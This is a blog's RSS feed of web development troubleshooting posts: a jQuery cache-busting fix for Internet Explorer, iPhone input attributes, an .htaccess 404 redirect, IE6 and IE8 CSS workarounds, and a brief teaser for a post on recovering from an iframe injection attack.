<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web Development Blog &#187; Troubleshooting</title>
	<atom:link href="http://eisabainyo.net/weblog/category/troubleshooting/feed/" rel="self" type="application/rss+xml" />
	<link>http://eisabainyo.net/weblog</link>
	<description>Web Development, Web Design, Web Applications, Web 2.0, AJAX, WordPress Themes, Search Engine Optimisation, Latest Technologies and more..</description>
	<lastBuildDate>Tue, 24 Jan 2012 08:29:05 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Troubleshooting jQuery.get() Cache issue in Internet Explorer</title>
		<link>http://eisabainyo.net/weblog/2010/04/21/troubleshooting-jquery-get-cache-issue-in-internet-explorer/</link>
		<comments>http://eisabainyo.net/weblog/2010/04/21/troubleshooting-jquery-get-cache-issue-in-internet-explorer/#comments</comments>
		<pubDate>Wed, 21 Apr 2010 06:10:16 +0000</pubDate>
		<dc:creator>eisabai</dc:creator>
				<category><![CDATA[Snippets]]></category>
		<category><![CDATA[Troubleshooting]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://eisabainyo.net/weblog/?p=1398</guid>
		<description><![CDATA[There is an issue with jQuery.get() in Internet Explorer when trying to update content on the fly because IE caches XMLHttpRequest response and the AJAX call made via jQuery.get() is therefore always returning the same result.   I encountered this problem when I was writing a function similar to facebook Like feature where the [...]<p>Read <a href="http://eisabainyo.net/weblog/2010/04/21/troubleshooting-jquery-get-cache-issue-in-internet-explorer/">Troubleshooting jQuery.get() Cache issue in Internet Explorer</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2009/04/07/back-to-top-link-with-jquery/" rel="bookmark" title="April 7, 2009">Back to top link with jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/07/17/dropdown-menu-population-using-json-and-jquery/" rel="bookmark" title="July 17, 2009">Dropdown menu population using JSON and jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2011/06/29/creating-a-contact-form-in-jquery-mobile-and-php/" rel="bookmark" title="June 29, 2011">Creating a Contact Form in jQuery Mobile and PHP</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/07/23/customising-recaptcha-theme/" rel="bookmark" title="July 23, 2009">Customising reCAPTCHA Theme</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/04/28/open-link-in-a-new-window-using-jquery/" rel="bookmark" title="April 28, 2009">Open link in a new window using jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/09/01/10-useful-jquery-snippets/" rel="bookmark" title="September 1, 2010">10 Useful jQuery Snippets</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/05/28/check-username-availability-using-ajax-and-jquery/" rel="bookmark" title="May 28, 2009">Check username availability using AJAX and jQuery</a></li>
</ul><!-- Similar Posts took 373.459 ms --></div>]]></description>
			<content:encoded><![CDATA[<p>There is an issue with <a href="http://api.jquery.com/jQuery.get/">jQuery.get()</a> in Internet Explorer when trying to update content on the fly because IE caches XMLHttpRequest response and the AJAX call made via jQuery.get() is therefore always returning the same result.   I encountered this problem when I was writing a function similar to facebook Like feature where the Like counter increments by 1 whenever someone clicks on the I like it link.  It works all fine and well on Firefox, but when I tested it on IE, the counter doesn&#8217;t increase as expected.  </p>
<p>To solve the issue, I added a parameter to the request URL that is unique for each request by using Javascript getTime function.  Javascript getTime function returns the number of milliseconds since January 1, 1970. This prevents IE from returning the same/cached response because the request URL is always unique.  </p>
<p><strong>Javascript</strong></p>
<pre>jQuery.fn.likeIt = function() {
    var r = new Date().getTime(); // unique random number to workaround IE cache issue
    $("a", this).click(function() {
        // Note: my href already has a parameter which is why I have &amp; instead of ? before the r parameter
	$.get($(this).attr("href") + "&#038;r=" + r, function(data) {
             // do your processing here
	}); // $.get
    return false;
    });
};</pre>
<p>Read <a href="http://eisabainyo.net/weblog/2010/04/21/troubleshooting-jquery-get-cache-issue-in-internet-explorer/">Troubleshooting jQuery.get() Cache issue in Internet Explorer</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2009/04/07/back-to-top-link-with-jquery/" rel="bookmark" title="April 7, 2009">Back to top link with jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/07/17/dropdown-menu-population-using-json-and-jquery/" rel="bookmark" title="July 17, 2009">Dropdown menu population using JSON and jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2011/06/29/creating-a-contact-form-in-jquery-mobile-and-php/" rel="bookmark" title="June 29, 2011">Creating a Contact Form in jQuery Mobile and PHP</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/07/23/customising-recaptcha-theme/" rel="bookmark" title="July 23, 2009">Customising reCAPTCHA Theme</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/04/28/open-link-in-a-new-window-using-jquery/" rel="bookmark" title="April 28, 2009">Open link in a new window using jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/09/01/10-useful-jquery-snippets/" rel="bookmark" title="September 1, 2010">10 Useful jQuery Snippets</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/05/28/check-username-availability-using-ajax-and-jquery/" rel="bookmark" title="May 28, 2009">Check username availability using AJAX and jQuery</a></li>
</ul><!-- Similar Posts took 11.045 ms --></div>]]></content:encoded>
			<wfw:commentRss>http://eisabainyo.net/weblog/2010/04/21/troubleshooting-jquery-get-cache-issue-in-internet-explorer/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>How to disable text auto correction in iPhone web app</title>
		<link>http://eisabainyo.net/weblog/2010/03/05/how-to-disable-text-auto-correction-in-iphone-web-app/</link>
		<comments>http://eisabainyo.net/weblog/2010/03/05/how-to-disable-text-auto-correction-in-iphone-web-app/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 12:14:39 +0000</pubDate>
		<dc:creator>eisabai</dc:creator>
				<category><![CDATA[Snippets]]></category>
		<category><![CDATA[Troubleshooting]]></category>

		<guid isPermaLink="false">http://eisabainyo.net/weblog/?p=1194</guid>
		<description><![CDATA[To turn off iPhone auto correction feature (predictive dictionary) on textboxes, add autocorrect="off" attribute to your input tag.  

&#60;input type=&#34;text&#34; id=&#34;keyword&#34; name=&#34;keyword&#34;
autocorrect=&#34;off&#34; /&#62;

You can also turn off auto capitalising/capitalizing feature by adding autocapitalize="off" attribute.

&#60;input type=&#34;text&#34; id=&#34;keyword&#34; name=&#34;keyword&#34;
autocorrect=&#34;off&#34; autocapitalize=&#34;off&#34; /&#62;

And lastly, you can turn off auto complete in a similar way.

&#60;input type=&#34;text&#34; id=&#34;keyword&#34; name=&#34;keyword&#34;
autocorrect=&#34;off&#34; autocapitalize=&#34;off&#34; [...]<p>Read <a href="http://eisabainyo.net/weblog/2010/03/05/how-to-disable-text-auto-correction-in-iphone-web-app/">How to disable text auto correction in iPhone web app</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2009/06/12/making-a-website-iphone-friendly-using-css/" rel="bookmark" title="June 12, 2009">Making a website iPhone-friendly using CSS</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/10/27/tips-for-iphone-web-app-development/" rel="bookmark" title="October 27, 2009">Tips for iPhone Web App Development</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/06/17/clear-default-text-in-input-boxes-on-click-with-jquery/" rel="bookmark" title="June 17, 2010">Clear default text in input boxes on click with jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/07/23/customising-recaptcha-theme/" rel="bookmark" title="July 23, 2009">Customising reCAPTCHA Theme</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/09/27/10-tips-i-have-learned-from-wds2007-day-1/" rel="bookmark" title="September 27, 2007">10 tips I have learned from WDS2007 &#8211; Day 1</a></li>

<li><a href="http://eisabainyo.net/weblog/2011/09/03/book-review-master-mobile-web-apps-with-jquery-mobile/" rel="bookmark" title="September 3, 2011">Book Review: Master Mobile Web Apps with jQuery Mobile</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/08/28/framebar-like-diggbar-example-in-html-and-css-with-no-javascript/" rel="bookmark" title="August 28, 2009">Framebar (like diggbar) example in html and css with no javascript</a></li>
</ul><!-- Similar Posts took 215.047 ms --></div>]]></description>
			<content:encoded><![CDATA[<p>To turn off iPhone auto correction feature (predictive dictionary) on textboxes, add <code>autocorrect="off"</code> attribute to your <code>input </code>tag.  </p>
<pre>
&lt;input type=&quot;text&quot; id=&quot;keyword&quot; name=&quot;keyword&quot;
autocorrect=&quot;off&quot; /&gt;
</pre>
<p>You can also turn off auto capitalising/capitalizing feature by adding <code>autocapitalize="off"</code> attribute.</p>
<pre>
&lt;input type=&quot;text&quot; id=&quot;keyword&quot; name=&quot;keyword&quot;
autocorrect=&quot;off&quot; autocapitalize=&quot;off&quot; /&gt;
</pre>
<p>And lastly, you can turn off auto complete in a similar way.</p>
<pre>
&lt;input type=&quot;text&quot; id=&quot;keyword&quot; name=&quot;keyword&quot;
autocorrect=&quot;off&quot; autocapitalize=&quot;off&quot; autocomplete=&quot;off&quot; /&gt;
</pre>
<p>More HTML tips for iPhone web apps can be found in <a href="http://www.amazon.com/gp/product/0596805780?ie=UTF8&#038;tag=eisabainyonet-20&#038;linkCode=as2&#038;camp=1789&#038;creative=390957&#038;creativeASIN=0596805780" target="_blank">Building iPhone Apps with HTML, CSS, and JavaScript</a><img src="http://www.assoc-amazon.com/e/ir?t=eisabainyonet-20&#038;l=as2&#038;o=1&#038;a=0596805780" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /> book published by O&#8217;Reilly Media, Inc.</p>
<p>Read <a href="http://eisabainyo.net/weblog/2010/03/05/how-to-disable-text-auto-correction-in-iphone-web-app/">How to disable text auto correction in iPhone web app</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2009/06/12/making-a-website-iphone-friendly-using-css/" rel="bookmark" title="June 12, 2009">Making a website iPhone-friendly using CSS</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/10/27/tips-for-iphone-web-app-development/" rel="bookmark" title="October 27, 2009">Tips for iPhone Web App Development</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/06/17/clear-default-text-in-input-boxes-on-click-with-jquery/" rel="bookmark" title="June 17, 2010">Clear default text in input boxes on click with jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/07/23/customising-recaptcha-theme/" rel="bookmark" title="July 23, 2009">Customising reCAPTCHA Theme</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/09/27/10-tips-i-have-learned-from-wds2007-day-1/" rel="bookmark" title="September 27, 2007">10 tips I have learned from WDS2007 &#8211; Day 1</a></li>

<li><a href="http://eisabainyo.net/weblog/2011/09/03/book-review-master-mobile-web-apps-with-jquery-mobile/" rel="bookmark" title="September 3, 2011">Book Review: Master Mobile Web Apps with jQuery Mobile</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/08/28/framebar-like-diggbar-example-in-html-and-css-with-no-javascript/" rel="bookmark" title="August 28, 2009">Framebar (like diggbar) example in html and css with no javascript</a></li>
</ul><!-- Similar Posts took 9.630 ms --></div>]]></content:encoded>
			<wfw:commentRss>http://eisabainyo.net/weblog/2010/03/05/how-to-disable-text-auto-correction-in-iphone-web-app/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Redirect to homepage when page not found</title>
		<link>http://eisabainyo.net/weblog/2009/07/10/redirect-to-homepage-when-page-not-found/</link>
		<comments>http://eisabainyo.net/weblog/2009/07/10/redirect-to-homepage-when-page-not-found/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 06:19:05 +0000</pubDate>
		<dc:creator>eisabai</dc:creator>
				<category><![CDATA[Snippets]]></category>
		<category><![CDATA[Troubleshooting]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://eisabainyo.net/weblog/?p=706</guid>
		<description><![CDATA[This is a lazy fix to redirect any url that doesn&#8217;t exist (resulting in 404) to the homepage.  
Add the following line of code into the .htaccess file inside the root directory of your website.  
ErrorDocument 404 /
<p>Read <a href="http://eisabainyo.net/weblog/2009/07/10/redirect-to-homepage-when-page-not-found/">Redirect to homepage when page not found</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2007/07/05/www-vs-non-www-301-redirect/" rel="bookmark" title="July 5, 2007">www vs. non-www 301 redirect</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/04/21/redirect-old-pages-to-new-pages-using-htaccess/" rel="bookmark" title="April 21, 2009">How to redirect old pages to new pages using htaccess</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/10/21/enabling-gd-image-library-in-php-windows/" rel="bookmark" title="October 21, 2008">Enabling gd image library in PHP (Windows)</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/08/19/removing-file-extension-via-htaccess/" rel="bookmark" title="August 19, 2007">Removing file extension via .htaccess</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/05/10/how-to-customise-wordpress-admin-login-page/" rel="bookmark" title="May 10, 2010">How to customise WordPress Admin Login page</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/02/19/conditional-ie-comments/" rel="bookmark" title="February 19, 2009">Conditional IE Comments (to detect IE browser / IE browser version)</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/06/21/error-logging-in-php/" rel="bookmark" title="June 21, 2007">Error logging in PHP</a></li>
</ul><!-- Similar Posts took 134.613 ms --></div>]]></description>
			<content:encoded><![CDATA[<p>This is a lazy fix to redirect any url that doesn&#8217;t exist (resulting in 404) to the homepage.  </p>
<p>Add the following line of code into the .htaccess file inside the root directory of your website.  </p>
<pre>ErrorDocument 404 /</pre>
<p>Read <a href="http://eisabainyo.net/weblog/2009/07/10/redirect-to-homepage-when-page-not-found/">Redirect to homepage when page not found</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2007/07/05/www-vs-non-www-301-redirect/" rel="bookmark" title="July 5, 2007">www vs. non-www 301 redirect</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/04/21/redirect-old-pages-to-new-pages-using-htaccess/" rel="bookmark" title="April 21, 2009">How to redirect old pages to new pages using htaccess</a></li>

<li><a href="http://eisabainyo.net/weblog/2008/10/21/enabling-gd-image-library-in-php-windows/" rel="bookmark" title="October 21, 2008">Enabling gd image library in PHP (Windows)</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/08/19/removing-file-extension-via-htaccess/" rel="bookmark" title="August 19, 2007">Removing file extension via .htaccess</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/05/10/how-to-customise-wordpress-admin-login-page/" rel="bookmark" title="May 10, 2010">How to customise WordPress Admin Login page</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/02/19/conditional-ie-comments/" rel="bookmark" title="February 19, 2009">Conditional IE Comments (to detect IE browser / IE browser version)</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/06/21/error-logging-in-php/" rel="bookmark" title="June 21, 2007">Error logging in PHP</a></li>
</ul><!-- Similar Posts took 28.111 ms --></div>]]></content:encoded>
			<wfw:commentRss>http://eisabainyo.net/weblog/2009/07/10/redirect-to-homepage-when-page-not-found/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Some simple but effective CSS rules for IE 6</title>
		<link>http://eisabainyo.net/weblog/2009/07/02/some-simple-but-effective-css-rules-for-ie-6/</link>
		<comments>http://eisabainyo.net/weblog/2009/07/02/some-simple-but-effective-css-rules-for-ie-6/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 06:40:42 +0000</pubDate>
		<dc:creator>eisabai</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Troubleshooting]]></category>

		<guid isPermaLink="false">http://eisabainyo.net/weblog/?p=699</guid>
		<description><![CDATA[All these CSS are used in a conditional CSS file for IE 6 to ensure CSS validity as some of the properties used here are proprietary to the IE 6 browser. 

&#60;!--[if IE 6]&#62;
&#60;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;ie6.css&#34; /&#62;
&#60;![endif]--&#62;

Setting an opacity

.transparency {
   filter: alpha(opacity=50);
}
Change the link to a hand cursor

a.link {
   cursor: [...]<p>Read <a href="http://eisabainyo.net/weblog/2009/07/02/some-simple-but-effective-css-rules-for-ie-6/">Some simple but effective CSS rules for IE 6</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2011/06/28/introduction-to-css3-animations-by-examples/" rel="bookmark" title="June 28, 2011">Introduction to CSS3 Animations by Examples</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/05/11/opacity-in-css/" rel="bookmark" title="May 11, 2009">Opacity in CSS</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/02/14/web-20-reflection-effect-in-photoshop/" rel="bookmark" title="February 14, 2007">web 2.0 reflection effect in Photoshop</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/03/10/display-5-latest-posts-in-each-category-in-wordpress/" rel="bookmark" title="March 10, 2010">Display 5 latest posts in each category in WordPress</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/08/28/framebar-like-diggbar-example-in-html-and-css-with-no-javascript/" rel="bookmark" title="August 28, 2009">Framebar (like diggbar) example in html and css with no javascript</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/09/19/export-into-excel-with-formula-in-php/" rel="bookmark" title="September 19, 2007">Export into excel with formula in PHP</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/06/12/making-a-website-iphone-friendly-using-css/" rel="bookmark" title="June 12, 2009">Making a website iPhone-friendly using CSS</a></li>
</ul><!-- Similar Posts took 187.186 ms --></div>]]></description>
			<content:encoded><![CDATA[<p>All these CSS are used in a conditional CSS file for IE 6 to ensure CSS validity as some of the properties used here are proprietary to the IE 6 browser. </p>
<pre>
&lt;!--[if IE 6]&gt;
&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;ie6.css&quot; /&gt;
&lt;![endif]--&gt;
</pre>
<p><strong>Setting an opacity</strong></p>
<pre>
.transparency {
   filter: alpha(opacity=50);
}</pre>
<p><strong>Change the link to a hand cursor</strong></p>
<pre>
a.link {
   cursor: pointer;
}</pre>
<p><strong>Get rid of double margin bug by adding display:inline to a block level element</strong></p>
<pre>
#sidebar {
   float: left;
   margin-left: 20px;
   width: 300px;
   display: inline;
}</pre>
<p><strong>Ensure proper positioning of list items</strong></p>
<pre>
ul li {
   display: inline-block;
}</pre>
<p><strong>Hide extra spaces and padding</strong></p>
<pre>
#header {
   height: 10px;
   overflow: hidden;
}</pre>
<p><strong>Bring a layer on top of other layers</strong></p>
<pre>
#close {
   position: absolute;
   z-index: 50;
}</pre>
<p><strong>Resolve float issue in IE6 by triggering hasLayout property</strong></p>
<pre>
#content {
   zoom: 1;
}</pre>
<p><strong>PNG transparency in IE6 (uses <a href="http://www.twinhelix.com/css/iepngfix/">IEPNGFix</a> code)</strong></p>
<pre>
#background {
   behavior: url(iepngfix.htc);
}</pre>
<p>Read <a href="http://eisabainyo.net/weblog/2009/07/02/some-simple-but-effective-css-rules-for-ie-6/">Some simple but effective CSS rules for IE 6</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2011/06/28/introduction-to-css3-animations-by-examples/" rel="bookmark" title="June 28, 2011">Introduction to CSS3 Animations by Examples</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/05/11/opacity-in-css/" rel="bookmark" title="May 11, 2009">Opacity in CSS</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/02/14/web-20-reflection-effect-in-photoshop/" rel="bookmark" title="February 14, 2007">web 2.0 reflection effect in Photoshop</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/03/10/display-5-latest-posts-in-each-category-in-wordpress/" rel="bookmark" title="March 10, 2010">Display 5 latest posts in each category in WordPress</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/08/28/framebar-like-diggbar-example-in-html-and-css-with-no-javascript/" rel="bookmark" title="August 28, 2009">Framebar (like diggbar) example in html and css with no javascript</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/09/19/export-into-excel-with-formula-in-php/" rel="bookmark" title="September 19, 2007">Export into excel with formula in PHP</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/06/12/making-a-website-iphone-friendly-using-css/" rel="bookmark" title="June 12, 2009">Making a website iPhone-friendly using CSS</a></li>
</ul><!-- Similar Posts took 13.642 ms --></div>]]></content:encoded>
			<wfw:commentRss>http://eisabainyo.net/weblog/2009/07/02/some-simple-but-effective-css-rules-for-ie-6/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Fieldset and Legend bug in IE8</title>
		<link>http://eisabainyo.net/weblog/2009/05/19/fieldset-and-legend-bug-in-ie8/</link>
		<comments>http://eisabainyo.net/weblog/2009/05/19/fieldset-and-legend-bug-in-ie8/#comments</comments>
		<pubDate>Tue, 19 May 2009 03:03:34 +0000</pubDate>
		<dc:creator>eisabai</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Snippets]]></category>
		<category><![CDATA[Troubleshooting]]></category>
		<category><![CDATA[xHTML]]></category>

		<guid isPermaLink="false">http://eisabainyo.net/weblog/?p=619</guid>
		<description><![CDATA[Problem in IE8:
The upper half of the &#60;fieldset&#62; border goes missing.   This problem has been discussed here and shown here. 
HTML:

&#60;form action=&#34;login.php&#34; method=&#34;post&#34; id=&#34;login&#34;&#62;
  &#60;fieldset&#62;
    &#60;legend&#62;Login&#60;/legend&#62;
    &#60;label for=&#34;username&#34; class=&#34;label&#34;&#62;Username&#60;/label&#62;
    &#60;input type=&#34;text&#34; name=&#34;username&#34; id=&#34;username&#34;/&#62;
    &#60;label for=&#34;password&#34; class=&#34;label&#34;&#62;Password&#60;/label&#62;
    &#60;input [...]<p>Read <a href="http://eisabainyo.net/weblog/2009/05/19/fieldset-and-legend-bug-in-ie8/">Fieldset and Legend bug in IE8</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2009/02/20/store-login-information-in-cookie-using-jquery/" rel="bookmark" title="February 20, 2009">Store login information in cookie using jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/05/28/check-username-availability-using-ajax-and-jquery/" rel="bookmark" title="May 28, 2009">Check username availability using AJAX and jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/03/09/how-to-style-a-submit-button-in-css-example-2/" rel="bookmark" title="March 9, 2010">How to style a Submit button in CSS &#8211; Example 2</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/04/24/how-to-style-a-submit-button-in-css/" rel="bookmark" title="April 24, 2009">How to style a Submit button in CSS</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/06/17/clear-default-text-in-input-boxes-on-click-with-jquery/" rel="bookmark" title="June 17, 2010">Clear default text in input boxes on click with jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/04/30/10-examples-of-basic-input-validation-in-javascript/" rel="bookmark" title="April 30, 2009">10 Examples of Basic Input Validation in Javascript</a></li>

<li><a href="http://eisabainyo.net/weblog/2011/06/29/creating-a-contact-form-in-jquery-mobile-and-php/" rel="bookmark" title="June 29, 2011">Creating a Contact Form in jQuery Mobile and PHP</a></li>
</ul><!-- Similar Posts took 158.641 ms --></div>]]></description>
			<content:encoded><![CDATA[<p><strong>Problem in IE8:</strong></p>
<p>The upper half of the &lt;fieldset&gt; border goes missing.   This problem has been discussed <a href="http://teddyzetterlund.com/2009/04/16/internet-explorer-8-fieldset-and-legend-bugs/">here</a> and shown <a href="http://flowersapp.youtubevideobox.com/ie8_fieldset_bug.html">here</a>. </p>
<p><strong>HTML:</strong></p>
<pre>
&lt;form action=&quot;login.php&quot; method=&quot;post&quot; id=&quot;login&quot;&gt;
  &lt;fieldset&gt;
    &lt;legend&gt;Login&lt;/legend&gt;
    &lt;label for=&quot;username&quot; class=&quot;label&quot;&gt;Username&lt;/label&gt;
    &lt;input type=&quot;text&quot; name=&quot;username&quot; id=&quot;username&quot;/&gt;
    &lt;label for=&quot;password&quot; class=&quot;label&quot;&gt;Password&lt;/label&gt;
    &lt;input type=&quot;password&quot; name=&quot;password&quot; id=&quot;password&quot; /&gt;
    &lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Login&quot; /&gt;
  &lt;/fieldset&gt;
&lt;/form&gt;
</pre>
<p><strong>CSS:</strong></p>
<pre>
fieldset {
	border: 1px solid #333;
}

legend {
	display: none;
}
</pre>
<p><strong>The workaround:</strong></p>
<p>It looks like the problem occurs only when you set the &lt;legend&gt; to display: none in CSS.   To solve this, we will need to add a span element inside the legend and set it to display: none and remove display: none from legend.   </p>
<p><strong>Updated HTML:</strong></p>
<pre>
    &lt;legend&gt;&lt;span&gt;Login&lt;span&gt;&lt;/legend&gt;
</pre>
<p><strong>Updated CSS:</strong></p>
<pre>legend {
}

legend span {
	display: none;
}</pre>
<p>Read <a href="http://eisabainyo.net/weblog/2009/05/19/fieldset-and-legend-bug-in-ie8/">Fieldset and Legend bug in IE8</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2009/02/20/store-login-information-in-cookie-using-jquery/" rel="bookmark" title="February 20, 2009">Store login information in cookie using jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/05/28/check-username-availability-using-ajax-and-jquery/" rel="bookmark" title="May 28, 2009">Check username availability using AJAX and jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/03/09/how-to-style-a-submit-button-in-css-example-2/" rel="bookmark" title="March 9, 2010">How to style a Submit button in CSS &#8211; Example 2</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/04/24/how-to-style-a-submit-button-in-css/" rel="bookmark" title="April 24, 2009">How to style a Submit button in CSS</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/06/17/clear-default-text-in-input-boxes-on-click-with-jquery/" rel="bookmark" title="June 17, 2010">Clear default text in input boxes on click with jQuery</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/04/30/10-examples-of-basic-input-validation-in-javascript/" rel="bookmark" title="April 30, 2009">10 Examples of Basic Input Validation in Javascript</a></li>

<li><a href="http://eisabainyo.net/weblog/2011/06/29/creating-a-contact-form-in-jquery-mobile-and-php/" rel="bookmark" title="June 29, 2011">Creating a Contact Form in jQuery Mobile and PHP</a></li>
</ul><!-- Similar Posts took 139.349 ms --></div>]]></content:encoded>
			<wfw:commentRss>http://eisabainyo.net/weblog/2009/05/19/fieldset-and-legend-bug-in-ie8/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Troubleshooting an IFrame Injection Attack</title>
		<link>http://eisabainyo.net/weblog/2009/04/06/iframe-injection-attack/</link>
		<comments>http://eisabainyo.net/weblog/2009/04/06/iframe-injection-attack/#comments</comments>
		<pubDate>Mon, 06 Apr 2009 00:15:39 +0000</pubDate>
		<dc:creator>eisabai</dc:creator>
				<category><![CDATA[Troubleshooting]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://eisabainyo.net/weblog/?p=515</guid>
		<description><![CDATA[IFrame Injection Attack is considered one of the most common and most basic cross site scripting (XSS) attacks.   If you have recently got an iframe attack to your website, do not panic.  Here are a few things that you can do immediately after you discovered that your website has been a victim [...]<p>Read <a href="http://eisabainyo.net/weblog/2009/04/06/iframe-injection-attack/">Troubleshooting an IFrame Injection Attack</a> on Web Development Blog!</p><div><h3>Other similiar posts that you might be interested in:</h3><ul><li><a href="http://eisabainyo.net/weblog/2007/05/22/how-to-prevent-sql-injection/" rel="bookmark" title="May 22, 2007">How to prevent SQL injection?</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/05/18/sql-injection-demo/" rel="bookmark" title="May 18, 2007">SQL Injection Demo</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/01/16/top-25-most-dangerous-programming-errors/" rel="bookmark" title="January 16, 2009">Top 25 Most Dangerous Programming Errors</a></li>

<li><a href="http://eisabainyo.net/weblog/2007/12/08/google-custom-search/" rel="bookmark" title="December 8, 2007">Google custom search engine</a></li>

<li><a href="http://eisabainyo.net/weblog/2009/06/30/display-a-download-dialog-for-pdf-in-php/" rel="bookmark" title="June 30, 2009">Display a download dialog for pdf in PHP</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/02/23/25-most-dangerous-programming-errors/" rel="bookmark" title="February 23, 2010">25 Most Dangerous Programming Errors</a></li>

<li><a href="http://eisabainyo.net/weblog/2010/05/10/how-to-customise-wordpress-admin-login-page/" rel="bookmark" title="May 10, 2010">How to customise WordPress Admin Login page</a></li>
</ul><!-- Similar Posts took 219.616 ms --></div>]]></description>
